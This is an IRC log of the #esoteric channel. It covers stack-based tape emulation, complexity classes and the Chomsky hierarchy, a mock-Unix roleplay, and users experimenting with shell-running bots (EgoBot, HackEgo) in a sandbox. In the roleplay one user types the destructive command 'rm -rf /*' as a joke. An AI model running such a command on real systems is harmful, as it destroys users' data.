:AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268698321 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"acceptable"? < 1268698331 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Acceptable for a Licenciate degree? :-P < 1268698336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, you aren't allowed to attend such lectures otherwise? < 1268698348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1268698353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, attend other lectures < 1268698355 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :than those < 1268698362 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can, but you won't get any credit < 1268698363 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You can, but you can't include them in the degree. < 1268698365 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1268698367 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268698376 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'll let Deewiant do the explaining, he seems to be faster. < 1268698573 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268698601 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268698602 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night < 1268698610 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :nice timing < 1268698653 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, ffs. IWC at you < 1268698655 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then night < 1268699088 0 :charlls!unknown@unknown.invalid QUIT :Quit: Saliendo < 1268699124 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :how do two stacks emulate a tape? < 1268699156 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Stack one is the elements before the tape head, stack two is the elements at and after the tape head. < 1268699177 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You move forward by popping from 2 and pushing to 1, and back by popping from 1 and pushing to 2. < 1268699219 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :[0,1,2,3,4,5,6] where you're at alement 3 would be represented by ([2,1,0], 3, [4,5,6]), where [a1, a2, ...] is a stack where a1 is the top element < 1268699236 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :Oh yeah! < 1268699241 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you can also keep the 3 in one of the stacks ofc < 1268699249 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :like in pikhq's < 1268699253 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: When you're at alement 3, have you had three beers? < 1268699259 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268699263 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :exactly < 1268699268 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: I was presuming just a stack. < 1268699280 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. Just two stacks, and no other data structure. < 1268699314 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :right, i just thought that was the clearest way to explain the idea < 1268699342 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the conversion isn't that complicated :) < 1268699479 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268699525 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hmm hmm alementary operations < 1268699545 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :integer matrices are pretty sexy < 1268699603 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: What a ridiculous stoutment. < 1268699883 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan < 1268699892 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you're vaguely familiar with complexity, right? < 1268699913 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :slightly more than vaguely, i'd say < 1268699936 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :whats the relationship between complexity classes and the chomsky hierarchy < 1268699937 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well, the basics anyway < 1268699962 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: well, regular languages = finite automata = finite space < 1268700002 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok, so theres a relation between some of the complexity classes and the chomsky hierarchy < 1268700002 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(although the finite space is not immediately obvious, needs a proof because you can still move around in the input tape of the TM) < 1268700026 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so in a sense, complexity classes are a finer grain of hierarchy than the traditional chomsky hierarchy < 1268700041 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: context free is within polynomial time, O(x^3) < 1268700047 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: yes < 1268700054 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok, thats all i wanted to really know. < 1268700061 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :now heres another question < 1268700077 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: context sensitive = linear space as i mentioned the other day < 1268700102 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :is there any work on translating complexity classes into formal language theoretic terms? e.g. whats a convenient way to characterize, lets say, AM, as a class of grammars < 1268700135 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AM = arthur merlin? that's a bit beyond the basics but i've heard the name < 1268700144 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268700150 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, it doesnt have to be AM < 1268700150 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im just saying < 1268700162 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: i recall wikipedia has a list of some correspondences beyond the basic chomsky < 1268700226 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i know various kinds of like < 1268700236 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :formalizations of certain classes of languages < 1268700246 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that table at the end of http://en.wikipedia.org/wiki/Chomsky_hierarchy < 1268700249 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so the mildly CS right < 1268700268 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, im aware of that table < 1268700269 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :believe me < 1268700280 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you'd think :) < 1268700284 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :im gonna puke my guts out in a boiling rage < 1268700293 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but what im not sure of is how THAT relates to the complexity classes < 1268700295 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or vice versa < 1268700303 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im a grammar nerd, so i want to see grammars < 1268700311 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :complexity means nothing to me without interesting characterizations < 1268700315 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :brb food < 1268700317 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur < 1268700328 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh hm right < 1268700415 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: well some of the things listed under the automaton column are complexities: linear-bounded and finite < 1268700427 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :which i already mentioned < 1268700461 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and Turing machine itself, although that's up in the computability part of the hierarchy < 1268700582 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh well, i don't know more than those listed (and not all those) anyway < 1268700639 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok thanks :) < 1268700643 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hugs oerjan :D
< 1268700963 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268701021 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268701910 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Heh. cd burning program tried to burn to hard disk. Luckily IDE HDD doesn't respond to burner commands. < 1268702139 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :ughh I'm trying to emulate a pdp-11, but I am on a mac, and I only have an emulator for DOS, so I'm emulating DOS emulating Unix 7 < 1268702205 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Guest31015: yo dawg < 1268702225 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :ha < 1268702252 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :I think I'm turning into Unix! < 1268702258 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :;login < 1268702264 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :root < 1268702271 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :root# < 1268702283 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Guest31015: echo $PATH < 1268702315 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :a < 1268702315 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :a < 1268702316 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :a < 1268702317 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :a < 1268702329 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Guest31015: ls /usr/bin < 1268702336 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :I can't type a colon < 1268702345 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :but it's bin, sbin and usr/bin < 1268702355 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :i have to seel 5; < 1268702359 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :*sleep < 1268702397 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :root@ < 1268702399 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :root# < 1268702406 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Darn those keyboards that can't type all ASCII characters. < 1268702420 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :sh: Darn : command not found < 1268702453 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :#I'm still waiting for you to ls /usr/bin. < 1268702494 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268702520 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :grep cc cd pwd ssh telnet bash sh [ < 1268702533 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :root@ < 1268702539 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :root# < 1268702551 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :aww screw it PS1="# " < 1268702557 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268702617 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :cc --help < 1268702666 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :just compile yer code like this: cc "yer_code.c" -o "yer_executable" < 1268702681 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268702714 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :apt-get install apt-get < 1268702752 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :sh: apt-get : I said unix not debian ( error -14 ) < 1268702777 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :wget wget < 1268702791 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :wget: couldn't resolve host < 1268702796 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :@ < 1268702798 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268702889 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268702900 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268702907 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :ls / < 1268702924 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :afs bin boot cdrom dev emul etc home initrd.img initrd.img.old lib lib32 lib64 media mnt opt proc root sbin selinux srv sys tmp usr var vmlinuz vmlinuz.old < 1268702934 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :cat > hw.c < 1268702946 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric : < 1268702958 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :void main() { printf("Hello World!\n"); } < 1268702961 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :^D < 1268702974 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268702979 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :cc hw.c < 1268702984 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :./a.out < 1268702990 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :hw.c: In function ‘main’: < 1268702990 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :hw.c:1: warning: incompatible implicit declaration of built-in function ‘printf’ < 1268702994 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268703001 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hello World! < 1268703002 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268703017 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :rm -rf /* < 1268703023 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :don't type that < 1268703024 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268703037 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1268703044 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Permission denied < 1268703050 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1268703053 0 :Sgeo_!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268703064 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268703073 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :pwd < 1268703081 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :/home/ihope < 1268703094 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :cd .. < 1268703095 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :ls < 1268703105 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :ftran apollo firenze ihope kaelis kyevan maxite mbiswas muffin sine sophie syrra vamp wat < 1268703109 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Oops. < 1268703114 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :aftran apollo firenze ihope kaelis kyevan maxite mbiswas muffin sine sophie syrra vamp wat < 1268703118 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!unlambda ```.a.b`e`.c.d.e < 1268703121 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ac < 1268703133 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :# < 1268703163 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!help languages < 1268703164 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh. < 1268703175 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :su vamp < 1268703180 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :ls ~ < 1268703185 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Password: < 1268703192 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric : < 1268703205 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :su: Authentication failure < 1268703224 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :echo $SHELL < 1268703231 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`run echo 'There is real UNIX on here, stop doing stupid fake UNIX.' < 1268703232 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :There is real UNIX on here, stop doing stupid fake UNIX. < 1268703233 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash < 1268703248 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: which unlambda implementation is EgoBot running? < 1268703253 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268703255 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: I'm not doing fake UNIX, I'm typing Guest31015's commands into a real command line. < 1268703260 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :After fully understanding them, of course. < 1268703261 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: http://codu.org/projects/egobot/ :P < 1268703263 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :oh really < 1268703267 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :I was just pretending < 1268703269 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268703275 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I had guessed! < 1268703279 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $SHELL < 1268703281 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/sh < 1268703300 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: so, is there some sample implementation of an ordinary Unix environment using Plash? < 1268703318 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I.e. one that uses Plash to replicate what's already there. < 1268703337 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: ... why would you replicate a system, when the normal system is already there? < 1268703386 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :uname < 1268703405 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: USED_VERSION says http://web.inf.tu-dresden.de/~bf3/unlambda/ 20060112 < 1268703415 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :uname < 1268703555 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: as an example of how to use Plash. < 1268703570 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: huh i hadn't seen that implementation before < 1268703581 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Do you have a recommendation? < 1268703586 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: I have no idea what you mean. < 1268703604 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: not at all, in fact it lacks the bug from the original C interpreter which i was testing :D < 1268703620 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :C interpreter? < 1268703629 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :that sounds difficult < 1268703632 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Guest31015: unlambda interpreter in C < 1268703636 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :ohh < 1268703638 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("Hello, Guest31015!") < 1268703644 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello, Guest31015! < 1268703661 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("Hello Gregor!"); < 1268703663 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello Gregor! < 1268703667 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :woah < 1268703681 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :what else does that interpret < 1268703692 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That is not a C interpreter, it's just a frontend to gcc :P < 1268703693 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :!languages < 1268703700 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Hm, or is it ... < 1268703701 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :!help languages < 1268703701 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh. < 1268703739 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :!sh pwd < 1268703740 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1268703749 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls / < 1268703751 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :bin < 1268703775 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :HackEgo is a much-more-interesting implementation of the sh command, since it has a persistent filesystem. < 1268703806 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :gee that there bot is real neat < 1268703824 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Gee willikers, it is, innit? < 1268703840 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :!c fprintf(stderr, "Does it print errors?"); < 1268703842 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does it print errors? < 1268703846 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :Yes it does < 1268703902 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :that thar robot must be real shiny < 1268703908 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :and have beeping lights < 1268703928 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Shhhh ... it is unaware that it's physically manifest, and we want to keep it that way. < 1268703935 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268703955 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :is hackego on this chan? < 1268703958 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Why would a light beep? < 1268703972 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`run echo 'Idonno, am I?' < 1268703974 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Idonno, am I? < 1268703980 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :1c printf("Hello, the name is HackEgo.\n"); < 1268703980 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1268703980 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :to show if it got dem internets and megabits and what now? < 1268703981 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :`c printf("Hello, the name is HackEgo.\n"); < 1268703983 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268703989 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Fail :P < 1268703991 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`c ls < 1268703992 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268703998 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`sh ls < 1268703999 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, no c command on HackEgo? Should fix that when I'm not-lazy. < 1268704000 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268704010 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`sh ls < 1268704012 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268704014 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1268704020 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`sh help commands < 1268704022 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268704027 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ignore pikhq's fekked-up command. < 1268704032 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I gave the proper command. < 1268704048 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :`help < 1268704049 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1268704062 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run ls < 1268704063 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.21222 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1268704068 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run pwd < 1268704069 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/hackenv.21263 < 1268704089 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run tty < 1268704092 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :not a tty < 1268704094 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :You can also see the remainder of various failed hacking attempts in there :P < 1268704105 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`cat test.sh < 1268704107 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :echo POOP! && sh ./test.sh < 1268704124 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`cat hack_gregor < 1268704126 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :echo Gregor hacked. < 1268704133 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :What, that wunderbar_emporeum isn't so wunderbar? :-> < 1268704136 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :./hack_gregor < 1268704142 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: Doesn't work in Plash. < 1268704149 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`./hack_gregor < 1268704151 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268704157 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run ./hack_gregor < 1268704159 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268704172 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Guest31015: Did I mention "FAILED" < 1268704191 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: What about it doesn't work? The port-opening? < 1268704198 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $HELL < 1268704200 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268704201 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I refuse to say :P < 1268704204 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $SHELl < 1268704206 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268704208 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :DAMMIT < 1268704213 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $SHELL < 1268704215 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/sh < 1268704216 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hah. < 1268704258 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run printf "#!/bin/sh \n echo Guest Hacked " < 1268704260 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :#!/bin/sh \ echo Guest Hacked < 1268704264 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`sh hack_gregor < 1268704265 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Gregor hacked. < 1268704279 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run printf "#!/bin/sh \n echo Guest Hacked " > Guest_hacked < 1268704281 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268704288 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Being able to run a trivial shell script is kind of irrelevant :P < 1268704288 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run chmod 777 Guest_hacked < 1268704290 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268704301 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :`run ./Guest_hacked < 1268704303 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Guest Hacked < 1268704306 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :YAY < 1268704399 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No hacking done. Just designed behavior. :) < 1268704430 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :yeah but running a shell script is the first step :P < 1268704435 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :g2gbye < 1268704439 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :be back later < 1268704446 0 